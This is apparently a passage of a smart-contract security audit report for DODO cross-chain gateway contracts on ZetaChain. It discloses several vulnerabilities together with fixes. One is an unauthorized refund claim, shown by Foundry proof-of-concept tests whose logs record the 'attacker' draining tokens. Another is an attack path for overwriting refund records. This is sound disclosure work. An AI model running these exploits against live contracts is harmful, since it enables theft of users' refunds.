console.log("Bitcoin address length:", bitcoinAddress.length, "bytes");
// ### ATTACK ###
// The attacker (any random address) calls claimRefund
// This should fail but currently succeeds due to the vulnerability
vm.prank(attacker);
gatewayCrossChain.claimRefund(externalId);
// ### VERIFICATION ###
uint256 contractFinalBalance = token1Z.balanceOf(address(gatewayCrossChain));
uint256 attackerFinalBalance = token1Z.balanceOf(attacker);
console.log("=== AFTER ATTACK ===");
console.log("Contract balance:", contractFinalBalance);
console.log("Attacker balance:", attackerFinalBalance);
// Verify the attack succeeded
assertEq(attackerFinalBalance, attackerInitialBalance + refundAmount, "Attacker should have stolen the refund");
assertEq(contractFinalBalance, contractInitialBalance - refundAmount, "Contract should have lost the refund");
// Verify the refund record was deleted
(bytes32 deletedExternalId, , , ) = gatewayCrossChain.refundInfos(externalId);
assertEq(deletedExternalId, bytes32(0), "Refund record should be deleted");
console.log("=== ATTACK ANALYSIS ===");
console.log("Attack successful: Attacker stole", refundAmount / 1e18, "tokens intended for Bitcoin user");
console.log("Vulnerability: walletAddress.length =", bitcoinAddress.length, "(not 20 bytes)");
console.log("This means: require(bots[attacker] || attacker == attacker) = require(false || true) = true");
}
function test_PoC_ClaimRefundVulnerability_CompareWithEVM() public {
// ### COMPARISON: Show how EVM addresses are protected but non-EVM are not ###
bytes32 evmExternalId = keccak256(abi.encodePacked("evm-refund-test"));
bytes32 btcExternalId = keccak256(abi.encodePacked("btc-refund-test"));
uint256 refundAmount = 1000 ether;
address refundToken = address(token1Z);
address attacker = address(0x888);
// Create EVM refund (20 bytes)
bytes memory evmAddress = abi.encodePacked(user2); // 20 bytes
// Create Bitcoin refund (>20 bytes)
bytes memory bitcoinAddress = "bc1qxy2kgdygjrsqtzq2n0yrf2493p83kkfjhx0wlh";
// Fund contract
token1Z.mint(address(gatewayCrossChain), refundAmount * 2);
// Create both refunds
vm.startPrank(address(gatewayZEVM));
gatewayCrossChain.onAbort(
AbortContext({
sender: abi.encode(address(this)),
asset: refundToken,
amount: refundAmount,
outgoing: false,
chainID: 1,
revertMessage: bytes.concat(evmExternalId, evmAddress)
})
);
gatewayCrossChain.onAbort(
AbortContext({
sender: abi.encode(address(this)),
asset: refundToken,
amount: refundAmount,
outgoing: false,
chainID: 8332,
revertMessage: bytes.concat(btcExternalId, bitcoinAddress)
})
);
vm.stopPrank();
console.log("=== TESTING PROTECTION MECHANISMS ===");
console.log("EVM address length:", evmAddress.length, "bytes");
console.log("Bitcoin address length:", bitcoinAddress.length, "bytes");
// Try to steal EVM refund (should fail)
vm.prank(attacker);
vm.expectRevert("INVALID_CALLER");
gatewayCrossChain.claimRefund(evmExternalId);
console.log("EVM refund protected: Attacker cannot claim");
// Try to steal Bitcoin refund (should fail but doesn't)
uint256 attackerBalanceBefore = token1Z.balanceOf(attacker);
vm.prank(attacker);
gatewayCrossChain.claimRefund(btcExternalId); // This succeeds!
uint256 attackerBalanceAfter = token1Z.balanceOf(attacker);
assertEq(attackerBalanceAfter, attackerBalanceBefore + refundAmount, "Bitcoin refund was stolen");
console.log("Bitcoin refund vulnerable: Attacker successfully claimed", refundAmount / 1e18, "tokens");
// Show that legitimate EVM user can still claim their refund
vm.prank(user2);
gatewayCrossChain.claimRefund(evmExternalId);
assertEq(token1Z.balanceOf(user2), refundAmount, "Legitimate EVM user got their refund");
console.log("Legitimate EVM user successfully claimed their refund");
}
}Test Result:
$ forge test --fork-url https://zetachain-evm.blockpi.network/v1/rpc/public --mc GatewayCrossChainPOCTest -vv
[⠒] Compiling...
[⠒] Compiling 1 files with Solc 0.8.26
[⠢] Solc 0.8.26 finished in 68.59s
Compiler run successful!
Ran 3 tests for test/GatewayCrossChainPOC.t.sol:GatewayCrossChainPOCTest
[PASS] test_PoC_ClaimRefundVulnerability() (gas: 201804)
Logs:
=== BEFORE ATTACK ===
Contract balance: 10000000000000000000000
Attacker balance: 0
Bitcoin address length: 42 bytes
=== AFTER ATTACK ===
Contract balance: 0
Attacker balance: 10000000000000000000000
=== ATTACK ANALYSIS ===
Attack successful: Attacker stole 10000 tokens intended for Bitcoin user
Vulnerability: walletAddress.length = 42 (not 20 bytes)
This means: require(bots[attacker] || attacker == attacker) = require(false || true) = true
[PASS] test_PoC_ClaimRefundVulnerability_CompareWithEVM() (gas: 300854)
Logs:
=== TESTING PROTECTION MECHANISMS ===
EVM address length: 20 bytes
Bitcoin address length: 42 bytes
EVM refund protected: Attacker cannot claim
Bitcoin refund vulnerable: Attacker successfully claimed 1000 tokens
Legitimate EVM user successfully claimed their refund
[PASS] test_UpgradeImplementation() (gas: 8277807)
Suite result: ok. 3 passed; 0 failed; 0 skipped; finished in 14.24s (2.48s CPU time)
Ran 1 test suite in 15.71s (14.24s CPU time): 3 tests passed, 0 failed, 0 skipped (3 total tests)
Implement proper authorization checks that differentiate between EVM and non-EVM addresses.
sherlock-admin2
The protocol team fixed this issue in the following PRs/commits: Skyewwww/omni-chain-contracts#24
Source: #230
Cybrid, EgisSecurity, Phaethon, bladeee, farismaulana, hunt1, m3dython, newspacexyz, rsam_eth
In GatewayTransferNative.sol::_handleEvmOrSolanaWithdraw(), the contract approved outputAmount+gasFee tokens to GatewayZEVM but the GatewayZEVM will only use outputAmount tokens. Attackers could make use of this extra approved gasFee to attack the contract using the public function GatewayTransferNative::withdraw().
When users want to withdraw tokens from zetachain to an evm chain, the function above will be called. For simplicity, let's consider that user wants to withdraw ETH to Ethereum from zetachain.
He calls withdrawToNativeChain(ETH,1000e18,message). The _handleFeeTransfer() function will take 1000 ether from user and send 0.5% to TreasurySafe. Now outputAmount=amount=995ether, and then _handleEvmOrSolanaWithdraw() is called. In this function, GatewayTransferNative approve GatewayZEVM for outputAmount+gasFee ETH but it set amountsOutTarget to outputAmount-gasFee. Finally in GatewayZEVM contract, only outputAmount-gasFee ETH and gasFee ETH for gasfee is charged.
After the transaction, there are still gasFee amount of ETH in allowance of GatewayTransferNative to GatewayZEVM. If now GatewayTransferNative has a positive ETH balance (for example, in refunds) , it's possible for attackers to spend gasFee amount of ETH and the contract lose money.
GatewayTransferNative has a positive balance of gas tokens
gasprice decreases sometimes
Suppose GatewayTransferNative has an ETH balance waiting for refunding and someone has withdrawn ETH from zetachain to Ethereum. As explained in the root cause, now ETH.allowance(GatewayTransferNative,GatewayZEVM) is gasFee.
Notice that gasFee is calculated by gasPrice*gasLimit where gasLimit is fixed.
1.When gasPrice decreases to gasPrice1 , Alice set amount=(gasPrice-gasPrice1)*gasLimit.
2.Alice call GatewayTransferNative::withdraw() with outputToken:ETH and amount above.
3. GatewayZEVM will charge GatewayTransferNative for gasFee1=gasPrice1*gasLimitETH and amount=(gasPrice-gasPrice1)*gasLimitETH
4. In total the previous allowance is consumed to 0 now.
The cost of the attacker: some gas fee in ZETA, worth nothing(ZETA price $0.2 now ,negligible)
The GatewayTransferNative lose: gasFee in ETH (ETH price $2491)
The GatewayTransferNative contract could suffer a loss of gasFee after every cross-chain call. Right now the gasFee is only a small value of USD even on Ethereum mainnet, but in the future, as the gas price goes up and more and more transactions passing through the contract, it could be a non-negligible number.
Even worse, after losing the gasFee, GatewayTransferNative contract doesn't have enough balance to pay the refunds which leads to DOS for a honest users claiming their refund.
No response
No response
sherlock-admin2
The protocol team fixed this issue in the following PRs/commits: Skyewwww/omni-chain-contracts#34
Source: #304
0xc0ffEE, 10ap17, AnomX, Cybrid, IvanFitro, SarveshLimaye, elolpuer, eta, farismaulana, shushu, silver_eth, the_haritz, wellbyt3
Attempting to call approve() on the ETH placeholder address will cause transaction reverts for all users trying to swap ETH as the contract treats the non-contract ETH address as an ERC20 token.
In GatewayTransferNative_doMixSwap , the contract unconditionally calls IZRC20(params.fromToken).approve(DODOApprove, amount) without checking if params.fromToken is the ETH placeholder address (0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE), which is not a valid contract.
A similar issue exists in the GatewayCrossChain contract, where approve() is also called without validating whether the token is native ETH.
- User needs to call
withdrawToNativeChain()withzrc20parameter as_ETH_ADDRESS_ - The decoded message needs to contain
swapData.length > 0to trigger the swap logic
None
- User calls
withdrawToNativeChain()with ETH address and swap data - Function calls
_doMixSwap()withparams.fromTokenset to ETH address _doMixSwap()attempts to callapprove()on the ETH placeholder address- Transaction reverts because ETH address is not a valid ERC20 contract
All users attempting to swap Zeta cannot execute their transactions, making the Zeta swap functionality completely non-functional.
No response
function _doMixSwap(
bytes memory swapData,
uint256 amount,
MixSwapParams memory params
) internal returns (uint256 outputAmount) {
if (swapData.length == 0) {
return amount;
}
- IZRC20(params.fromToken).approve(DODOApprove, amount);
+ if (params.fromToken != _ETH_ADDRESS_) {
+ IZRC20(params.fromToken).approve(DODOApprove, amount);
+ }sherlock-admin2
The protocol team fixed this issue in the following PRs/commits: https://github.com/Skyewwww/omni-chain-contracts/pull/28/files
Source: #626
0xEkko, 0xiehnnkta, 0xlucky, 10ap17, Abhan1041, AnomX, CoheeYang, Cybrid, EgisSecurity, Ocean_Sky, Yaneca_b, ZeroTrust, anirruth_, bladeee, cccz, elolpuer, hieutrinh02, hunt1, iamandreiski, malm0d, miracleworker0118, newspacexyz, roadToWatsonN101, rsam_eth, seeques, shivansh2580, tyuuu, wellbyt3
During zrc-20 depositAndCall operation, onCall function of GatewayTransferNative contract will revert due to missing update of amount to be used in swap in DODO Router. This amount is already deducted by platform fees, therefore need to be updated prior to the swap operation. The swap execution will always pull up a whole amount but in reality this is already deducted by fees, therefore guaranteed revert due to insufficient funds.
This can also be opportunity as attack vector for malicious attacker depending on situation like if the contract GatewayTransferNative has refund stored in it prior depositAndCall operation.
The real root cause is the missing update on the amount to be swapped in DODO Router. This amount should be deducted by platform fees prior to the swap operation to avoid revert. Look at line 370, the platform fees is already physically transferred to the protocol treasury, however this amount was never updated prior to the swap operation in line 395, this will cause guaranteed revert.
File: GatewayTransferNative.sol
357: function onCall(
358: MessageContext calldata context,
359: address zrc20, // this could be wzeta token
360: uint256 amount, // @audit this should be updated prior swap but no deduction happened
361: bytes calldata message
362: ) external override onlyGateway {
363: // Decode the message
364: // 32 bytes(externalId) + bytes message
365: (bytes32 externalId) = abi.decode(message[0:32], (bytes32));
366: bytes calldata _message = message[32:];
367: (DecodedNativeMessage memory decoded, MixSwapParams memory params) = SwapDataHelperLib.decodeNativeMessage(_message);
368:
369: // Fee for platform
370: uint256 platformFeesForTx = _handleFeeTransfer(zrc20, amount); // @audit , fees already transferred to treasury
371: address receiver = address(uint160(bytes20(decoded.receiver)));
372:
~ skip
392: );
393: } else {
394: // Swap on DODO Router
395: uint256 outputAmount = _doMixSwap(decoded.swapData, amount, params); //@audit amount here is not deducted by fees, therefore revert.
396: Detail of _doMixSwap below
File: GatewayTransferNative.sol
425: function _doMixSwap(
426: bytes memory swapData,
427: uint256 amount, //@note, expected to be equal in line 438
428: MixSwapParams memory params
429: ) internal returns (uint256 outputAmount) {
430: if (swapData.length == 0) {
431: return amount;
432: }
433:
434: IZRC20(params.fromToken).approve(DODOApprove, amount);
435: return IDODORouteProxy(DODORouteProxy).mixSwap{value: msg.value}(
436: params.fromToken,
437: params.toToken,
438: params.fromTokenAmount, //@note amount to be used in swapping expected to be equal to amount in line 427
439: params.expReturnAmount,
440: params.minReturnAmount,
441: params.mixAdapters,
442: params.mixPairs,
443: params.assetTo,
444: params.directions,
445: params.moreInfo,
446: params.feeData,
447: params.deadline
448: );
449: }Inside mixSwap function found in DODORouteProxy contract
_deposit(msg.sender, …, _fromTokenAmount);
…
IDODOApproveProxy.claimTokens(token, from, to, _fromTokenAmount); // _fromTokenAmount used in claiming tokensInside claimTokens function found in DODOApprove contract
File: DODOApprove.sol
72: function claimTokens(
73: address token,
74: address who,
75: address dest,
76: uint256 amount //@ note , this is the _fromTokenAmount
77: ) external {
78: require(msg.sender == _DODO_PROXY_, "DODOApprove:Access restricted");
79: if (amount > 0) {
80: IERC20(token).safeTransferFrom(who, dest, amount); //@audit, this will just revert due to insufficient funds
81: }
82: }The protocol may argue that the fromTokenAmount in_doMixSwap parameters can easily be changed by the user in order for swap to be successful. This may be correct but there are two situations we need to emphasize here.
-
If the
GatewayTransgerNativehas no refunds stored. - User is expected to use thatfromTokenAmountis equal to theamountto be swap or transfer as the user is no longer expected to compute again the net remaining as this is expected for the logic contract to do its job for smooth experience of the users. The impact of this issue is just revert. If they want the swap to be successful, they will just changefromTokenAmountmanually but unnecessary computation burden for user. -
If the
GatewayTransferNativehas refunds stored. - This could be an attack vector by users who knows the vulnerability. They won't change thefromTokenAmountand allows to use the over-allowance given to the user. Over-allowance because the allowance given exceeded the amount that should be allowed to be transferred. For example , the whole amount is 100 which is given allowance however it should be 95 only (net of 5 fees) , because 5 for fees is already transferred to treasury. If they are able to transferred the whole 100, there is a tendency that they will be able to steal some refunds amounting 5 deposited there during that time.
Please be reminded that GatewayTransferNative is storing funds for refunds. This could be in danger to be stolen via this vulnerability. Look at the mapping variable storage below.
File: GatewayTransferNative.sol
32: mapping(bytes32 => RefundInfo) public refundInfos; // externalId => RefundInfo, storage for refund records- When cross-chain operation involves DODO router swap call in destination chain Zetachain.
none
Scenario A:
This could be the scenario if the the GatewayTransferNative has no refunds stored.
| Step | Contract balance (zrc-20) | Allowance set | RouteProxy tries to pull | Outcome |
|---|---|---|---|---|
Deposited 1,000 zrc-20 amount from depositAndCall |
1 000 | – | – | – |
_handleFeeTransfer (0.5 %) |
995 | – | – | Treasury receives 5 |
_doMixSwap |
995 | approve 1 000 | – | approved the amount which still includes the fees transferred. |
_deposit → claimTokens |
995 | 1 000 | 1 000 | Revert (insufficient balance) |
| Swap aborted | – | – | – | onCall reverts, swap operation cancelled |
Scenario B:
This could be the scenario if the the GatewayTransferNative has refunds stored.
| Step | Contract balance (zrc-20) | Allowance set | RouteProxy tries to pull | Outcome |
|---|---|---|---|---|
| 5 zrc-20 tokens refund currently stored in contract | 5 | – | – | – |
Deposited 1,000 zrc-20 amount from depositAndCall |
1 005 | – | – | – |
_handleFeeTransfer (0.5 %) |
1000 | – | – | Treasury receives 5 |
_doMixSwap |
1000 | approve 1 000 | – | approved the amount which still includes the fees transferred. |
_deposit → claimTokens |
1000 | 1 000 | 1 000 | OK (sufficient balance) |
| Swap successful | – | – | – | onCall success, excess of 5 is pulled out from refund |
As you can see here, the refund of 5 zrc-20 tokens is pulled out from the last step (included in 1000 amount). This can be equivalent to stolen funds as the contract has no remaining funds left.
The onCall function will either revert or can cause loss of funds.
see attack path
Update the amount prior the swap operation.
sherlock-admin2
The protocol team fixed this issue in the following PRs/commits: Skyewwww/omni-chain-contracts#29
Source: #633
1337, EgisSecurity, Goran, HeckerTrieuTien, JuggerNaut, coin2own, dhank
When users bridge assets to Solana, they specify a list of accounts and if accounts should be read-only (protected) versus writable (modifiable). This is a critical security feature that prevents unauthorized access to user funds. However, a data parsing bug in AccountEncoder systematically corrupts these permission settings, marking user accounts as writable when they should be protected as read-only. This affects 100% of Solana bridge transactions. As a consequence, potential unauthorized token transfers or account state changes can occur.
Library AccountEncoder implements decompressAccounts function which takes bytes array as input and parses account info out of it:
function decompressAccounts(bytes memory input) internal pure returns (Account[] memory accounts) {
assembly {
let ptr := add(input, 32)
// Read accounts length (uint16)
let len := add(shl(8, byte(0, mload(ptr))), byte(1, mload(ptr)))
ptr := add(ptr, 2)
// Allocate memory for Account[] array
accounts := mload(0x40)
mstore(accounts, len)
let arrData := add(accounts, 32)
// Prepare memory for Account structs
let freePtr := add(arrData, mul(len, 32))
for { let i := 0 } lt(i, len) { i := add(i, 1) } {
let acc := freePtr
freePtr := add(freePtr, 64)
// Load publicKey
mstore(acc, mload(ptr))
ptr := add(ptr, 32)
// Load isWritable (as bool)
// @audit Reads 32 bytes for 1-byte boolean
mstore(add(acc, 32), iszero(iszero(mload(ptr))))
ptr := add(ptr, 1)
// Store pointer to struct in the array
mstore(add(arrData, mul(i, 32)), acc)
}
mstore(0x40, freePtr)
}
}In the assembly loop, the code reads 32 bytes with mload(ptr) when parsing boolean values that should only be 1 byte. This causes the boolean logic iszero(iszero(...)) to evaluate the intended 1-byte boolean plus the first 31 bytes of the next account's public key. Since public keys contain non-zero bytes, the boolean always becomes true regardless of the user's intention.
- User initiates Solana bridge transaction
(decoded.dstChainId == SOLANA_EDDY) - Transaction contains multiple accounts in compressed format
- Function
decompressAccounts()is called to parse account metadata before Solana execution
None
This is not an attack but systematic corruption affecting every multi-account Solana transaction:
- User provides correctly formatted compressed account data:
[count][pubkey1][bool1][pubkey2][bool2] - User intends Account 1 as read-only (bool1 = false) to protect their token balance
decompressAccounts()parses Account 1's boolean by reading[bool1 + first_31_bytes_of_pubkey2]- Since pubkey2 contains non-zero bytes,
iszero(iszero(non-zero))returns true - Account 1 gets marked as
isWritable: trueinstead of user's intendedfalse - Transaction executes on Solana with corrupted permissions
- Solana programs can now modify Account 1 when user expected it to remain untouched
- Potential unauthorized token transfers or account state changes occur
High severity - user accounts intended as read-only systematically get marked as writeable. This affects 100% of Solana bridge transactions with multiple accounts and occurs silently without any indication to users that their security assumptions are violated, potentially resulting in unexpected fund drains or account modifications.
This test case showcases the problem:
function test_accounts() public {
bytes32[] memory publicKeys = new bytes32[](2);
publicKeys[0] = keccak256(abi.encodePacked(block.timestamp));
publicKeys[1] = keccak256(abi.encodePacked(block.timestamp + 1));
bool[] memory isWritables = new bool[](2);
isWritables[0] = false;
isWritables[1] = true;
console.log("----User provided values:");
console.logBytes32(publicKeys[0]);
console.log(isWritables[0]);
console.logBytes32(publicKeys[1]);
console.log(isWritables[1]);
bytes memory compressed = compressAccounts(publicKeys, isWritables);
console.log("\n");
console.log("(----Parsed values");
console.logBytes32(AccountEncoder.decompressAccounts(compressed)[0].publicKey);
console.log(AccountEncoder.decompressAccounts(compressed)[0].isWritable);
console.logBytes32(AccountEncoder.decompressAccounts(compressed)[1].publicKey);
console.log(AccountEncoder.decompressAccounts(compressed)[1].isWritable);
}Run it:
❯ forge test --mt test_accounts -vvv
Logs:
----User provided values:
0xb335f44a2f5f0b13a7007be5f03a32df2fe6c27804d6e6ea21294eb0705e09b4
false
0x2186009e2f515bf15a0990ff378c583734095fd9ed9c46c3d15e33a8daf0a619
true
----Parsed values
0xb335f44a2f5f0b13a7007be5f03a32df2fe6c27804d6e6ea21294eb0705e09b4
true
0x2186009e2f515bf15a0990ff378c583734095fd9ed9c46c3d15e33a8daf0a619
trueWe can see that the "isWriteable" flag for the first account got parsed as true when it is actually false
Extract only the first byte:
mstore(add(acc, 32), shr(248, mload(ptr))) sherlock-admin2
The protocol team fixed this issue in the following PRs/commits: Skyewwww/omni-chain-contracts#31
Source: #660
10ap17, AnomX, Cybrid, farismaulana, newspacexyz, rsam_eth
Executing withdrawToNativeChain with ZETA as fromToken will fail when a non-zero fee is set, due to a mismatch between msg.value and fromTokenAmount passed to mixSwap.
When a user wants to execute withdrawToNativeChain with ZETA as fromToken, they send some ZETA with msg.value, set the zrc20 variable to the native token, and specify the same amount of ZETA as sent via msg.value. After that, the fee gets paid (let's imagine that the issue where it's not possible to pay the fee when ZETA is the zrc20 is fixed), and now _doMixSwap is called and the full msg.value is sent to the mixSwap, even though the fee was paid with a fraction of that value. The swap will fail because there will be a mismatch between msg.value and fromTokenAmount (the value sent to mixSwap should be mixSwap{value: msg.value-fee}(...)), which would be adjusted to account for the fee that was transferred to EddyTreasurySafe.
function mixSwap(
address fromToken,
address toToken,
uint256 fromTokenAmount,
uint256 expReturnAmount,
uint256 minReturnAmount,
address[] memory mixAdapters,
address[] memory mixPairs,
address[] memory assetTo,
uint256 directions,
bytes[] memory moreInfos,
bytes memory feeData,
uint256 deadLine
) external payable judgeExpired(deadLine) returns (uint256) {
require(mixPairs.length > 0, "DODORouteProxy: PAIRS_EMPTY");
require(mixPairs.length == mixAdapters.length, "DODORouteProxy: PAIR_ADAPTER_NOT_MATCH");
require(mixPairs.length == assetTo.length - 1, "DODORouteProxy: PAIR_ASSETTO_NOT_MATCH");
require(minReturnAmount > 0, "DODORouteProxy: RETURN_AMOUNT_ZERO");
address _fromToken = fromToken;
address _toToken = toToken;
uint256 _fromTokenAmount = fromTokenAmount;
uint256 _expReturnAmount = expReturnAmount;
uint256 _minReturnAmount = minReturnAmount;
address[] memory _mixAdapters = mixAdapters;
address[] memory _mixPairs = mixPairs;
address[] memory _assetTo = assetTo;
uint256 _directions = directions;
bytes[] memory _moreInfos = moreInfos;
bytes memory _feeData = feeData;
uint256 toTokenOriginBalance;
if(_toToken != _ETH_ADDRESS_) {
toTokenOriginBalance = IERC20(_toToken).universalBalanceOf(address(this));
} else {
toTokenOriginBalance = IERC20(_WETH_).universalBalanceOf(address(this));
}
// transfer in fromToken
bool isETH = _fromToken == _ETH_ADDRESS_;
_deposit(
msg.sender,
_assetTo[0],
_fromToken,
_fromTokenAmount,
isETH
);
.
.
.
}If we check the _deposit() function where the isEth flag and amount are passed (amount is equal to fromTokenAmount), we can spot that the msg.value and amount have to be equal.
function _deposit(
address from,
address to,
address token,
uint256 amount,
bool isETH
) internal {
if (isETH) {
if (amount > 0) {
require(msg.value == amount, "ETH_VALUE_WRONG");
IWETH(_WETH_).deposit{value: amount}();
if (to != address(this)) SafeERC20.safeTransfer(IERC20(_WETH_), to, amount);
}
} else {
IDODOApproveProxy(_DODO_APPROVE_PROXY_).claimTokens(token, from, to, amount);
}
}Since they will not be equal, the attempt to swap ZETA to a certain ZRC20 will fail.
/
/
- User calls withdrawToNativeChain intending to swap ZETA (native token) to some ZRC20 token (sets zrc20 to native address and amount equal to msg.value).
- The fee is paid (assuming the inability to transfer fee when native token is zrc20 is fixed).
- _doMixSwap is called.
- Inside _doMixSwap, mixSwap is called and msg.value is passed without deducting the fee.
- Inside mixSwap, the _deposit function is called. Since isEth is true, a check is performed to verify if msg.value == amount.
- Since the values are not equal, the function reverts.
This behavior will prevent ZETA token swaps whenever the transfer fee is different from 0.
Attempts to swap ZETA for some other ZRC20 will fail since the msg.value passed to the mixSwap function will differ from the fromTokenAmount value (fromTokenAmount should be equal to msg.value - fee, but also mixSwap call should be mixSwap{value: msg.value- fee}(...)). This will break the contract’s ability to swap ZETA for ZRC20 whenever the fee is set to a non-zero value.
No response
Consider deducting the fee from msg.value when calling mixSwap ( msg.value - fee).
sherlock-admin2
The protocol team fixed this issue in the following PRs/commits: Skyewwww/omni-chain-contracts#28
Source: #700
0xc0ffEE, Goran, IvanFitro, SarveshLimaye
The withdrawToNativeChain function of GatewayTransferNative fails to collect platform fees when users bridge native asset. While the function is designed to accept native asset payments through its payable modifier, the fee collection mechanism silently fails due to a low-level call to a non-contract address. This allows users to bridge native asset while completely bypassing the platform's fee collection, resulting in lost revenue for the protocol.
User will provide _ETH_ADDRESS_ as zrc20 param in withdrawToNativeChain function when bridging native asset. Then, internal function _handleFeeTransfer is called:
function withdrawToNativeChain(address zrc20, uint256 amount, bytes calldata message) external payable {
if (zrc20 != _ETH_ADDRESS_) {
require(
IZRC20(zrc20).transferFrom(msg.sender, address(this), amount),
"INSUFFICIENT ALLOWANCE: TRANSFER FROM FAILED"
);
}
// ...
// Transfer platform fees
uint256 platformFeesForTx = _handleFeeTransfer(zrc20, amount); // platformFee = 5 <> 0.5%
amount -= platformFeesForTx;There, transfer helper is used to collect fees:
function _handleFeeTransfer(address zrc20, uint256 amount) internal returns (uint256 platformFeesForTx) {
platformFeesForTx = (amount * feePercent) / 1000; // platformFee = 5 <> 0.5%
TransferHelper.safeTransfer(zrc20, EddyTreasurySafe, platformFeesForTx);
}That's where the problem lies - since asset is native asset and not erc20 token, direct ETH transfer methods should be used instead of erc20-transfer:
function safeTransfer(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED');
}What happens instead is that low level call 'transfer(address,uint256)' is executed on address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE). Since there's no code at the address, call will be successful even though no funds were moved. TX execution normally proceeds while protocol collected 0 fees.
None
User initiates a native asset bridge transaction by calling withdrawToNativeChain with zrc20 = _ETH_ADDRESS_
- User calls
withdrawToNativeChain(_ETH_ADDRESS_, amount, message)with 0 value - Function skips token collection validation for native ETH
- Platform calculates fee:
platformFeesForTx = (amount * feePercent) / 1000 _handleFeeTransferattempts to transfer fees but calls non-contract address_ETH_ADDRESS_- Low-level call returns success without actual transfer
- Bridge proceeds with zero fees collected Result: User bridges native asset, but protocol receives no revenue
Medium severity - revenue loss for the protocol
No response
Implement proper native asset fee collection
sherlock-admin2
The protocol team fixed this issue in the following PRs/commits: Skyewwww/omni-chain-contracts#28
Issue M-7: Attacker can overwrite legitimate refundsInfo by triggering GatewayTransferNative::onRevert
Source: #855
0xc0ffEE, 0xdice91, 0xiehnnkta, 0xlucky, 4n0nx, Abhan1041, AestheticBhai, AnomX, EgisSecurity, King_9aimon, Nomadic_bear, Ob, Oxsadeeq, PNS, Phaethon, X0sauce, Yaneca_b, elolpuer, grandson, harry, hiroshi1002, iamandreiski, jongwon, n08ita, patitonar, phrax, roadToWatsonN101, sheep, shushu, silver_eth
The GatewayTransferNative::onRevert function allows an attacker to overwrite legitimate, pending refunds. This is because GatewayTransferNative used RevertMessage to do accounting of refunds. However, the revertMessage should be validated.
The onRevert function does not validate whether a RefundInfo already exists for a given externalId before creating a new one. It blindly overwrites the storage slot.
None.
None.
-
Attacker monitors for a legitimate user's transaction to fail, causing
onAbortto be called. ARefundInfois stored with the keyVICTIM_EXTERNAL_ID. The contract now holds, for example, 1000e6 zUSDC that is meant for the victim inrefundInfo. -
The attacker initiates a cross-chain transaction that is designed to fail and trigger
GatewayTransferNatice::onRevert.
He can make any contract on destination evm chain as follows
contract AttackerContract{
constructor(){
}
function onCall ( MessageContext calldata context,
address zrc20,
uint256 amount,
bytes calldata message
) external override onlyGateway {
// always revert
revert();
}
}
This can be done by calling GatewayZEVM::withdrawAndCall specifying the following details:
function withdrawAndCall(
bytes memory receiver, // attackerContract
uint256 amount, // 1
address zrc20,// zUSDC
bytes calldata message,
CallOptions calldata callOptions,
//CallOptions({
// isArbitraryCall: false,
// gasLimit: 100_000
// }),
RevertOptions calldata revertOptions
// RevertOptions({
// revertAddress: address(GatewayTransferNatie)
// callOnRevert: true,
// abortAddress: address(GatewayTransferNative)
// revertMessage: bytes.concat(VICTIM_EXTERNAL_ID, bytes32(uint256(123456789)),
// onRevertGasLimit: 100_000
// })
)- This will cause
GatewayTransferNative::onRevertto be called, where theelsestatement is executed as shown here. This will overriderefundinfo[VICTIM_EXTERNAL_ID].walletAddressto be overriden to thebytes32(uint256(123456789)), at the cost of only 1 wei of zUSDC.
Legitimate User's funds that were refunded via onAbort cannot be withdrawn back to the rightful owner as the refundInfo[VICTIM_EXTERNAL_ID].walletAddress had been posioned by an attacker.
Please refer to Attack Path.
Fix is non trivial as RevertMessage cannot be trusted.
sherlock-admin2
The protocol team fixed this issue in the following PRs/commits: Skyewwww/omni-chain-contracts#25
Source: #856
This issue has been acknowledged by the team but won't be fixed at this time.
0xEkko, 1337, AnomX, Cybrid, EgisSecurity, Ob, ZeroTrust, hy, mahdiRostami, peppef, roadToWatsonN101, rsam_eth, silver_eth, the_haritz
The function _existsPairPool() in GatewayCrossChain.sol and GatewayTransferNative.sol uses ERC20.balanceOf() at a computed UniswapV2 pair address to infer pool existence. Because any address can hold tokens—even without a deployed pair contract—this check produces false positives. Consequently, getPathForTokens() may return a direct token–token path that does not actually exist, triggering downstream transaction reverts and denial of service.
In both contracts, _existsPairPool() is implemented as follows: https://github.com/sherlock-audit/2025-05-dodo-cross-chain-dex/blob/main/omni-chain-contracts/contracts/GatewayCrossChain.sol#L207-L220
This logic never verifies that pool has deployed contract code, nor does it read real reserves via getReserves(). It thus treats any stray token balances at that address as liquidity.
-
A call to
getPathForTokens(tokenA, tokenB)is made. -
_existsPairPool()returnstruebecause the computed address holds non-zero balances of both tokens. -
The actual UniswapV2 pair contract was never deployed at that address.
-
An EOA or arbitrary contract receives
tokenAandtokenBtransfers at the computed pool address. -
The true UniswapV2 factory has not created a pair for
(tokenA, tokenB).
-
Attacker transfers small amounts of
tokenAandtokenBto the computed pair address (no contract deployed). -
User or protocol calls
getPathForTokens(tokenA, tokenB).
3. _existsPairPool() returns true (false positive).
-
getPathForTokens()returns[tokenA, tokenB]instead of fallback path. -
Downstream swap via UniswapV2 router (e.g.,
swapExactTokensForTokens) attempts to interact with a non-existent pool contract. -
Transaction reverts, causing denial of service.
-
Denial of Service: Legitimate swaps between
tokenAandtokenBcannot execute. -
Broken UX: Cross-chain transfers or swaps fail unexpectedly whenever a fake “liquidity” address is used.
No response
No response
Source: #905
0xEkko, 0xc0ffEE, 0xlucky, Abhan1041, AnomX, AshishLac, ChaosSR, Goran, IvanFitro, Kirkeelee, Ob, PratRed, SafetyBytes, X0sauce, benjamin_0923, hunt1, radevweb3, roadToWatsonN101, rsam_eth, shushu, tyuuu
The GatewaySend contract’s onRevert() function mishandles native ETH refunds for failed cross-chain transactions by using TransferHelper.safeTransfer(), which is designed exclusively for ERC20 tokens. When the function attempts to refund ETH, it tries to call an ERC20 transfer() method on this non-existent contract address, causing the transaction to fail. As a result, ETH remains trapped in the contract, preventing users from recovering their funds.
N/A
N/A
A user attempts to bridge 3 ETH from Ethereum to polygon Chain via depositAndCall(). The transaction fails on the destination chain, and the ZetaChain Gateway returns the ETH to GatewaySend. The onRevert() function tries to refund the ETH using TransferHelper.safeTransfer(ETH_ADDRESS, user, 3 ETH), which fails because ETH_ADDRESS is not an ERC20 contract. The ETH remains stuck in the contract, leaving the user unable to recover their funds.
